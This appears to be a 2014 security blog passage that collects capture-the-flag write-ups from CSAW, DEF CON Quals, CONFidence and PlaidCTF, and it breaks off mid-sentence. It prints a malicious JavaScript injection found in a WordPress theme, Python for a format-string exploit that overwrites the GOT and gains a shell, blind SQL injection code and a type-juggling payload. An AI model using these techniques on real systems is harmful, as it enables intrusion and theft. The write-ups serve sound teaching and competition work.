Sunday, September 21, 2014

CSAW'14 - 'saturn' writeup

This was an exploitation task for 400 points. I felt like ish and s3 were more difficult, and more people solved saturn, so this seems to be right. Let's get to the bottom of this. Here is the description:
You have stolen the checking program for the CSAW Challenge-Response-Authentication-Protocol system. Unfortunately you forgot to grab the challenge-response keygen algorithm (libchallengeresponse.so). Can you still manage to bypass the secure system and read the flag?
So we will need a shared object to run the application. Let's see what we need to include in this. Looking at the imports in IDA, we can see that there is a very suspiciously named function, called fillChallengeResponse. If we go to the xrefs of this function, we can see that there is only one place where it is used, and it's used with the following parameters:
fillChallengeResponse(challenge, response)
If the returned value is -1, the program will exit. Otherwise the challenge and response were properly filled. challenge and response are 32 byte long buffers. Let's implement this function and create a shared object, so that we can test/debug the program.
typedef unsigned char uint8_t;

void fillChallengeResponse(uint8_t* challenge, uint8_t* response) {
    int i;

    for (i = 0; i < 32; ++i) {
        challenge[i] = 'a' + i;
        response[i] = 'A' + i;
    }
}
In this dummy version, the challenges will be 'a', 'b', 'c', ..., and the responses will be the uppercase counterparts. We can compile this file with the following command:
gcc -shared -m32 -o libchallengeresponse.so -fPIC challengeresponse.c 
Then we have to place this object to /usr/lib. Now we can run the application and mess around with it, which will turn out to be very useful!

After a very small amount of reversing, we can see that there are three types of commands. The program reads a single byte, and the upper 4 bits decide the command type, while the lower 4 will be the parameter. 'A' (as in 0b1010) will read a part of the challenge. 'E' will send a response for a given index. '8' will attempt to read the flag -- this will only work if all the correct reponses have been sent.
if ( fillChallengeResponse(challenge, response) == -1 )
  exit(1);
puts("CSAW ChallengeResponseAuthenticationProtocol Flag Storage");
fflush(stdout);
for ( i = 0; i <= 0; ++i )
{
  v0 = read_one_char();
  char_all = v0;
  char_high = v0 & 0xF0;
  switch ( char_high )
  {
    case 0xA0:
      print_challenge(char_all);
      i -= 2;
      break;
    case 0xE0:
      check_response(char_all);
      i -= 2;
      break;
    case 0x80:
      get_flag();
      break;
  }
}
return 0;
Let's play around with these commands. First, let's try to read some challenge values.
python -c 'print "\xA0"' | ./saturn
"abcd"
Huh, this is strange. 4 characters for each challenge means that we will run out of challenges after the first 8 indices (4 * 8 == 32, which is the length of the challenge buffer). This is confirmed after another test.
python -c 'print "\xA8"' | ./saturn
"ABCD"
Indeed, this is the first part of the responses. We aren't supposed to see these. This will be easier than I thought. To "exploit" this service, all we have to do is read the output of A8, A9, AA, etc., and then send these values with the E0, E1, etc. commands. Here is how the exploit looks like in python:
https://gist.github.com/balidani/a3bff8f387f30159f0e3
All in all, a nice challenge. many thanks to crowell!

CSAW'14 - 'weissman' writeup

This was a reversing task for 300 points. The task description was simply "Extract the key!". Let's look at the weissman.csawlz file that they provided.


This appears to be a custom file format that uses some form of LZ compression at its core. After some tinkering we managed to figure out the main structure of the file. The "3" means that there are 3 files in the archive. "AAee" is the magic in the header of each file entry.

The compressed files contain a bunch of blocks, with a special "flag" byte in front of each. The LSB of these bytes tells us whether the block is compressed. The rest of the flag is the size of the following block. If the block is compressed, 2 bytes follow, that somehow point to another block that was uncompressed. We did not figure out what (possibly) hashing algorithm was used to point to previous blocks, but it turns out that we don't need it at all.

The hint said that we need to extract key.jpg. However, compressing a jpg file (with this algorithm) makes no sense. Compared to the 500 compressed blocks in the first file, which is an HTML document, the jpg only had about 50. Here we took a leap of faith and just replaced those blocks with the appropriate number of zeroes. Here is the result:


After a fair amount of squinting, we could read the flag. Here it is after some reparations in paint:


And suddenly the whole "Weissman" thing makes sense.

If anyone is interested, here's the code to generate the above picture from a cropped version of the archive, containing only key.jpg's compressed form:

https://gist.github.com/balidani/a1984630ee905a418610
Thanks to RyanWithZombies for this awesome task!

CSAW'14 - 'Fluffy No More' writeup

This was a very nice forensics challenge for 300 points. It was very well built and logical. As a result, a lot of people solved it. I'll do a writeup anyway.

The following files/folders were provided:

  • etc/
  • var/log
  • var/www
  • mysql_backup.sql
/var/www contained a wordpress installation. The timestamps here were completely reset, which made things a bit harder. I did not find anything useful in the apache logs. They were just too big to completely cover. However, /var/log/auth.log contained a lot of useful information, and turned out the key to success. The following line was the first clue:

PWD=/home/ubuntu/CSAW2014-WordPress/var/www ; USER=root ; COMMAND=/usr/bin/vi /var/www/html/wp-content/themes/twentythirteen/js/html5.js
Someone apparently edited a js file in the twentythirteen theme, and they forgot to clear the logs. This could have been found through a lot of diffing, which would have been the thing to do, should we not find anything in the logs. We spared some time here. Diffing the original html5.js shows that there is some code appended to the original, which looks like this:

var g = "ti";
var c = "HTML Tags";
var f = ". li colgroup br src datalist script option .";
f = f.split(" ");
c = "";
k = "/";
m = f[6];
for (var i = 0; i < f.length; i++) {
    c += f[i].length.toString();
}
v = f[0];
x = "\'ht";
b = f[4];
f = 2541 * 6 - 35 + 46 + 12 - 15269;
c += f.toString();
f = (56 + 31 + 68 * 65 + 41 - 548) / 4000 - 1;
c += f.toString();
f = "";
c = c.split("");
var w = 0;
u = "s";
for (var i = 0; i < c.length; i++) {
    if (((i == 3 || i == 6) && w != 2) || ((i == 8) && w == 2)) {
        f += String.fromCharCode(46);
        w++;
    }
    f += c[i];
}
i = k + "anal";
document.write("<" + m + " " + b + "=" + x + "tp:" + k + k + f + i + "y" + g + "c" + u + v + "j" + u + "\'>\</" + m + "\>");
Changing document.write to console.log and then executing the script yields the following result:

<script src='http://128.238.66.100/analytics.js'></script>
Loading the JS file and beautifying it results in another fishy part in the analytics.js file:

var _0x91fe = ["\x68\x74\x74\x70\x3A\x2F\x2F\x31\x32\x38\x2E\x32\x33\x38\x2E\x36\x36\x2E\x31\x30\x30\x2F\x61\x6E\x6E\x6F\x75\x6E\x63\x65\x6D\x65\x6E\x74\x2E\x70\x64\x66", "\x5F\x73\x65\x6C\x66", "\x6F\x70\x65\x6E"];
window[_0x91fe[2]](_0x91fe[0], _0x91fe[1]);
Decoding the hex-encoded string gives us a url for a pdf file
http://128.238.66.100/announcement.pdf
After this I got stuck, and it was a teammate that told be about qpdf. Using this tool, we can extract information from the file. Looking at the extracted pdf file, we can find another js snippet:

var _0xee0b=["\x59\x4F\x55\x20\x44\x49\x44\x20\x49\x54\x21\x20\x43\x4F\x4E\x47\x52\x41\x54\x53\x21\x20\x66\x77\x69\x77\x2C\x20\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x20\x6F\x62\x66\x75\x73\x63\x61\x74\x69\x6F\x6E\x20\x69\x73\x20\x73\x6F\x66\x61\x20\x6B\x69\x6E\x67\x20\x64\x75\x6D\x62\x20\x20\x3A\x29\x20\x6B\x65\x79\x7B\x54\x68\x6F\x73\x65\x20\x46\x6C\x75\x66\x66\x79\x20\x42\x75\x6E\x6E\x69\x65\x73\x20\x4D\x61\x6B\x65\x20\x54\x75\x6D\x6D\x79\x20\x42\x75\x6D\x70\x79\x7D"];
var y=_0xee0b[0];
Another round of decoding, and we get the flag:
YOU DID IT! CONGRATS! fwiw, javascript obfuscation is sofa king dumb  :) key{Those Fluffy Bunnies Make Tummy Bumpy}
Nice task, props to brad_anton!

Sunday, May 18, 2014

DEF CON Quals 2014, 100lines writeup

It's not broken, you just need more RAM.

100lines was a task for 2 points by Jymbolia at the DEF CON Qualifiers. The file was a 64-bit ELF executable.

After some reversing the clue we received from the task description becomes clear. At 0x400D1A the program tries to malloc 264289788888064 bytes, which is roughly 240 terabytes. We have to optimize the program to use less memory.

The key function to optimize was getByte, which calls loop after malloc. loop writes random data into the allocated buffer and when it's finished, getByte returns the value at the passed index. Let's look at loop a bit more closely. After decompiling and a lot of modifications by hand, we get something like this:

void loop(ulong count, char* seed, char* big_buff) {

  count_max = count - 32;
  counter_1 = 0;
  while (counter_1 < count_max) {

      res1 = calc4(seed, counter_1);
      counter_2 = 0;
      while (counter_2 < count_max) {

          res2 = calc4(seed, counter_2);

          res = res1 ^ res2;
          ptr = (count_max * counter_1 + counter_2) * 4;

          big_buff[ptr + 0] = (res >> 24) & 0xff;
          big_buff[ptr + 1] = (res >> 16) & 0xff;
          big_buff[ptr + 2] = (res >> 8) & 0xff;
          big_buff[ptr + 3] = (res >> 0) & 0xff;

          counter_2++;
      }
      counter_1++;
  }
}

calc4 calls calc 4 times with (0, 1, 2, 3) as the third paramter and adds the results using bitwise or. Since nobody else writes to the allocated buffer, this is rather easy to reverse. The seed itself is also created by the loop function, using an array of random numbers called random_pad. This is only ~16MB, so we decided to dump this from gdb and use this for our solution. It was also useful to verify that our reversed loop function works correctly.

To reverse the loop function, we need to reverse calc first. Here is the hand decompiled C code, converted to Python.

def calc4(buf, arg2):
    
    res = 0
    for arg3 in range(4):
        res |= calc(buf, arg2, arg3)

    return res

def calc(buf, arg2, arg3):
    shift = arg2 >> 3
    w = arg2 & 7

    v1 = ord(buf[shift + arg3])
    esi = v1 << w

    v2 = ord(buf[shift + arg3 + 1])
    edx = v2 >> (8 - w)

    eax = (esi | edx) & 0xff
    eax = eax << [24, 16, 8, 0][arg3]

    return eax

Here is the reversed loop function that returns any element of the hypothetical buffer without allocating and computing its content.

def unloop(id):

    i = id / 4
    j = id % 4
    count1 = i / count_max
    count2 = i % count_max

    result = calc4(seed, count1) ^ calc4(seed, count2)
    return (result >> [24, 16, 8, 0][j]) & 0xff

After being able to simulate getByte, we have to take care of some extra things. When we look at the main function, we can see that it takes one character from the user at a time, calls getByte, does some extra stuff and then compares the two. If we correctly guess enough characters from the first 8, we get to the second stage. Here is the decompiled function that runs after getByte on the resulting character:

def fix(x):
    eax = x
    ecx = x
    edx = x

    eax = eax * 3
    eax = eax << 5
    eax = eax + ecx
    eax = eax >> 8

    ecx = ecx - eax
    ecx = ecx >> 2
    eax = eax + ecx
    eax = eax >> 6
    ecx = 0x5d
    eax = eax * ecx
    edx = edx - eax
    eax = edx & 0xff
    eax = eax + 0x20

    return eax & 0xff

Yeah, I was pretty tired here, and my initial implementation had a bug, so I took the assembly and converted it to Python.

After some debugging, every component was finally working, and we got to the second part. The program replied with a bunch of hex-encoded bytes and exited. If we look at the disassembly, we can see that the flag is read into a buffer, and the xor encrypted using the getByte[OTP[i]] values as the key. Since we had already reversed the getByte function, and we knew the OTP values, this was trivial to decrypt.

# We got these after running the first part of the solution
otp = [...]
flag = [...]

print ''.join([chr(unloop(o) ^ f) for o, f in zip(otp, flag)])

Here is the full script for the first part of the challenge: https://gist.github.com/balidani/92912e5f79695f983fc1

Here is the script for the second part, with valid flag and OTP values: https://gist.github.com/balidani/91326787a8900b3a2c2d

If anybody wants to recreate the ~16MB seed file used in the scripts, just run this script: https://gist.github.com/balidani/e8212c3142c28238db6e

Thanks to all of the DEF CON guys for the Quals, it was lots of fun!

Sunday, April 27, 2014

CONFidence DS CTF - pwn200 writeup

The Dragon Sector team put together a nice teaser CTF for the CONFidence security confidence held in Krakow. Here is the writeup for the exploitation task.

Finding the vulnerability

Let's see how the application works. Fortunately it works with stdout right away, and then it's bound to a socket later on, so we don't need to take care of that during debugging. This is also a minor hint for later, which I didn't realize at the time.


So you can select an operation and then supply the argument count and the arguments themselves. Then you get the result along with a quote, which is unique for all operations.

One thing we can find without any reversing is an info leak. If we use 'pow' with just one argument for example, the other argument will be a leaked address (as an integer). Maybe this will be useful later on.

Let's fire up IDA and look for vulnerabilities.

We can see right away that the operations are stored in an array at 0x3B00. There is a name, a quote and a handling function for each operation.


First things first, we look at the main function.

v8 = *MK_FP(__GS__, 20);
setbuf(stdout, 0);
puts("Welcome to Multipurpose Calculation Machine!");
for ( i = 0; i <= 2; ++i )
{
  print_menu();
  printf("Choice: ");
  read_count = read(0, &input, 63u);
  if ( !read_count )
    break;
  *(&input + read_count) = 0;
  newline_idx = strchr(&input, '\n');
  if ( newline_idx )
    *newline_idx = 0;
  for ( j = 0; *(void **)((char *)&operations + 3 * j + 8) != 0; ++j )
  {
    op_len = strlen((const char *)*(&operations + 3 * j));
    if ( !memcmp(&input, *(&operations + 3 * j), op_len) )
      (*(void (__cdecl **)(char *, signed int, _DWORD, char *))((char *)&operations + 3 * j + 8))(
        &format_buf,
        308,
        *(void **)((char *)&operations + 3 * j + 4),
        &input);
  }
}
result = 0;
if ( *MK_FP(__GS__, 20) != v8 )
  sub_2090();
return result;

The memcp used to find the operation that we want is a bit fishy here. It uses the operation's length when comparing, so we can essentially enter addAAAA... and still access the add operation. This will be useful later. We can see that the user input is 63 characters at max. Otherwise this function just looks up the opeartion and calls it's handling function with some parameters (format string buffer, n=308, the quote used and the input the user supplied).

Now let's see the handling function for the first operation (add). After some renaming, we get the following C code:

v11 = 10;
printf("[%s] Choose the number of parameters: ", op);
scanf("%u", &param_count);
if ( (unsigned int)param_count <= 10 )
{
  for ( i = 0; i < param_count; ++i )
  {
    printf("[%s] Provide parameter %u: ", op, i + 1);
    scanf("%u", &params[i]);
  }
  print_to_string(char_buf, 0x1000u, op, msg_of_day, params, param_count);
  strncpy(output_buf, char_buf, n);
  for ( j = 0; j < n; ++j )
  {
    if ( output_buf[j] == '%' )
      output_buf[j] = '_';
  }
  printf(output_buf);
  sum = 0LL;
  for ( k = 0; k < param_count; ++k )
    sum += (unsigned int)params[k];
  result = printf("[%s] The sum of provided numbers is %llu\n", op, sum);
}
else
{
  result = printf("[%s] Too many arguments!\n", op);
}
return result;

The huge red flag here is that the program is manually replacing the '%' signs instead of using puts on the output. There has to be a format string vulnerability here (or the creator of the task is just messing with us).

We know that the value of 'n' is 308. Unfortunately, we only copy 308 characters into the string, so every '%' will be replaced. But wait a second! If we could somehow overflow the terminating zero at the end of the buffer, the original user input, which specified the operation to use in the main function would also be printed. (Because this is the value immediately next to the buffer on the stack in main). Then, our format string would be evaluated.

The next step is a quest to look for the longest possible output. Here is the format of the string:
[<operation>] Message of the day: <quote>, operands: [<op 1>, <op 2>, ..., <op n>]
After some manual search, we find that 'tan' will result in the longest output. First of all, the operation string is the same one supplied by the user, so it's 63 characters at most. Then we have to find the longest integer we can supply. Since it is signed, we can gain an extra character with negative values. The longest value we can get is "-1111111111". Adding everything up, we get a buffer that is 307 characters long. But wait a second, there is a newline at the end we forgot to count! So we have our vulnerability after all. Let's test it now.


That's a beautiful address we just leaked there, and proof that our vulnerability works.

Pwning the service

So how do we go about pwning the task now?

I made a big mistake here, and didn't spend enough time doing 'recon' before diving into things, and I missed that there is a very helpful function at 0x0D20, which basically calls system("/bin/sh") for us. All I saw was that system is among the symbols, so my idea was to replace one of the functions in the got with system's address (heh, very original, I know).

My idea was to replace memcmp with system, so in the next turn, our input is evaluated.

Finding the system function

So how do we find where the system function is on the remote host? Well, we already have an info leak, let's use the leaked address. We can measure the offset between the leaked address and system locally and use that in the remote exploit, depending on what address we leaked.

Fortunately the leaked address will be useful, because it's in the bss segment. It points to the buffer at 0x3BC0. memcmp in the got is at 0x3A78, while system is at 0x3A84. With this, we get offsets of -0x148 and -0x13C respectively.

Our goal is to write the value at 0x3A84 (or wherever it is remotely, we already know this from the leak) into 0x3A78. So we need one more step here, to leak the value at 0x3A84. It will also be relative to the leaked address. To do this, we have to start writing the exploit.

def send_payload(payload):
    global s

    payload = payload + "A" * (63 - len(payload))

    s.recv(1024)
    s.send(payload + "\n")
    s.recv(1024)
    s.send("9\n")

    for x in range(9):
        s.recv(1024)
        s.send("-1111111111\n")

    res = s.recv(1024)
    return res.split("\n")[1]

This function will send our payload and return the leaked value to us. The first address can be leaked like this:

# Leak address
payload = "tan %08x "

result = send_payload(payload)
result = result.split("[")[0].split(" ")[1:-1]
leaked_addr = int(result[0], 16)

How can we now leak a value at a specific address?

Leaking system's address

We can use the %s format to leak values. %s will pick up an address from the stack, and print the string located there. Another trick is to use %X$s, where X specifies the index to use from the stack. Now we have to find (locally, using gdb) where our input is on the stack.

(gdb) start
(gdb) b *0x56556dcf
(gdb) r
Choice: tanAAAA
<run until breakpoint is triggered>
(gdb) x/256x $esp
0xffffd100: 0xffffd1a8  0x56558bc0  0x00000134  0x565573d8
0xffffd110: 0xffffd138  0x00000001  0x00000000  0xf7d5893c
0xffffd120: 0xf7e94a20  0x0000000a  0x000000b7  0x56555000
0xffffd130: 0x56555464  0x00003a78  0x00000001  0xf7cef700
0xffffd140: 0xf7e94a20  0xf7cf88f8  0xf7d3385b  0xf7e93ff4
0xffffd150: 0x00000000  0x56558a68  0x56558b00  0x00000000
0xffffd160: 0x00000134  0x00000001  0x00000001  0x00000009
0xffffd170: 0xffffd2dc  0x56558a68  0xffffd338  0x56555cb7
0xffffd180: 0xffffd1a8  0x00000134  0x565573d8  0xffffd2dc
0xffffd190: 0xf7ef3b98  0x00000008  0xffffd2e3  0x00000008
0xffffd1a0: 0x00000000  0x00000003  0x6e61745b  0x41414141
0xffffd1b0: 0x654d205d  0x67617373  0x666f2065  0x65687420

And we can see 0x41414141 at 0xffffd1a0, which means we need to access the stack from the 43rd address. Let's find system's value for real.

# Kids, don't code like this at home
result = send_payload("tan" + system_got_addr + " >>>%43$s<<< ")
system_value = result.split(">>>")[1].split("<<<")[0][0:4][::-1].encode('hex')

print "System:", system_value

offset = leaked_addr - int(system_value, 16)
print "Offset:", offset

The offset will be 13010, which is 0x32D2 in hex.

The good old arbitrary write

Now that we know everything, only one step remains. We have to write (leaked_addr - 0x32D2) at (leaked_addr - 0x148). This is easy to do using %hhn to replace the value byte-by-byte. You can find the final exploit here: https://gist.github.com/balidani/ab8429bc7b59af7bed8c

Then, to get code execution we have to initiate a third calculation. This time, our input will be passed to system instead of memcmp. And this is what happens:

$ ls -lsa
total 28
 4 drwxr-xr-x 2 root root  4096 Apr 26 08:15 .
 4 drwxr-xr-x 3 root root  4096 Apr 25 23:21 ..
 4 -rw-r--r-- 1 root root    71 Apr 25 23:22 flag.txt
16 -rwxr-xr-x 1 root root 12580 Apr 26 08:15 pwn200
[ls -lsa] Choose the number of parameters:

$ cat flag.txt
DSCTF_d7b9926c37e5e6b1f796abaf8a3ae7a26050ddb78c4685985321f03d6fd273ba

I think the tasks were very nice on this CTF, thanks to Dragon Sector! I will certainly be looking forward to more of their CTFs in the future.

Sunday, April 13, 2014

PlaidCTF 2014 - PolygonShifter writeup

This wasn't a very hard web challenge, but it was a cool idea and we managed to solve it first ("Quick, while tomcr00se is not looking"), so I'll do a writeup on it.

Task description

The site looks like it's trying to sell some security mechanism they came up with (patent pending, heh). The idea is that form fields get random names, so bots can't access the site. There is a sample application, where we can log in with "test / test" to check how their super secure solution works.




There is a HTML comment in the login form.

<!--<h3>For admin interface, admin / ???????</h3>-->

Of course randomizing names of a form won't protect you from SQL injection. This is what we get after logging in as admin:


What is left is getting the password with blind SQL injection. Let's see if we can use bots after all. This is the code that bypasses the random names and logs in with a specified username:

url = "http://54.204.80.192"
resp = requests.get(url + "/example")
form = resp.text.encode('utf-8')
action = form.split("<form action=\"")[1].split("\"")[0]
user = form.split("Username")[1].split("Password")[0].split("name=\"")[1].split("\"")[0]
passwd = form.split("Password")[1].split("primary")[0].split("name=\"")[1].split("\"")[0]

cookie = resp.headers['set-cookie']

resp = requests.post(url + action, data={user: payload, passwd: "test"}, headers={'Cookie': cookie})
res = resp.text.encode('utf-8')

Now we can plug this into our blind injection script, and it will spit out the table name, column name and eventually the password. Here is the final exploit: https://gist.github.com/balidani/e541f5ff39f6f3d41156

And the flag was n0b0t5_C4n_bYpa5s_p0lYm0rph1Sm
Oh, but they can!

Awesome CTF from PPP, thanks for organizing it, I need to catch up on some work and sleep now.

PlaidCTF 2014 - halphow2js writeup

This task was for 200 points, and it took us quite a lot of time to figure out. We still managed to get the breakthrough bonus on it, so I guess we were not alone with this.

The task description

When we visit the site, we are greeted with some ugly JS and a bunch of prompts. Chrome dies a miserable death once we enter the fifth number, and some processing starts. 


Let's look at the source. I mirrored it here: https://gist.github.com/balidani/b29dc38658efca998f5b
function client_side() {
 var x,y,z,w,ww;
 while(1) {
  x = prompt("#1",'1'); if(!x) return;
  y = prompt("#2",'2'); if(!y) return;
  z = prompt("#3",'3'); if(!z) return;
  w = prompt("#YOLO",'420'); if(!w) return;
  ww = prompt("#PPP",'123'); if(!ww) return;
  
  // The best solutions run FAST!
  // So, skip the slow self test if you've got a solution
  if(filter(x,y,z,w,ww) == FLAG) break;
  
  if(!self_test()) {
   alert("Sanity check failed! ...");
   return;
  }
  alert("Pick better numbers, man.");
 }
 call_server(x,y,z,w,ww, function(x) { alert(x); });
}

So if filter returns the flag, we are good. Otherwise, we start running the self_test, which calls the mystop function and takes forever to complete. Our next step (and mistake) was trying to figure out why mystop is slow and optimize it. I think this is a very common mistake I make - forgetting what category a task is and trying stupid things. Let's say that mystop is complicated and move on. I wasted an hour here.

Our next idea was to find all the 1000 values, except those that take forever to compute. We did this with a little script using Worker threads. We ended up with ~750 values. Needless to say, this was unnecessary work, but hey, it was 4AM. Let's (finally) look at the filter function that validates the key.

function filter() {
 var args = [].slice.apply(arguments).sort().filter(function(x,i,a){return a.indexOf(x) == i;});
 if(args.length != 5) return "uniq";
 
 var flag = false; args.map(function(x){flag |= x >= 999;});
 if(flag) return "big";
 
 var m = args.map(mystop);
 
 if(m.filter(function(x,i){return m[2]+3*i == x;}).length < 3) return "unsexy";
 if(m.filter(function(x,i){return x == args[i];}).length < 3) return "hippopotamus";
 if(m.filter(function(x,i){return x > m[i-1];}).length > 3) return "banana phone";
 
 return FLAG;
}

Oh, look, there are some checks that exclude a lot of values.

  • The keys have to be unique and under 1000
  • For each number in the key, mystop is called (array m)
  • At least 3 items have to follow the formula: m[2] + 3*i == x
  • At least 3 items have to be equal to the key itself
  • The keys cannot be in increasing order

Edit: that last part is a lie, they are sorted by the filter function first. Thanks to @mathias for the clarification, here is his write-up too.

The strongest limitation seems to be number 4, since we hadn't seen many numbers that would map to themselves, only 6 and 1. So how can we have 3? This is were it starts becoming a web task. Look closely at the filter. It uses ==, which is vulnerable, since it doesn't check type. Bingo. One tiny problem is that the values we pass to filter will all be strings, since prompt returns a string. All we have to play with is parsing now. During testing, I found the following weird issue with mystop:

> mystop("2")
1
> mystop("2e0")
2
> mystop("2e00")
2

So this is how we can make a value map to itself, though this only seems to work for 2. The rest is easy, we can arrange our (mystop mapped) values like this:

2, 2, 2, 11, 14

Then the formula we need to satisfy will apply for 3 elements (0, 3, 4). All we needed now was to find 2 numbers that map to 11 and 14. Final payload:

["2e0", "2e00", "2e000", "497", "944"]

The flag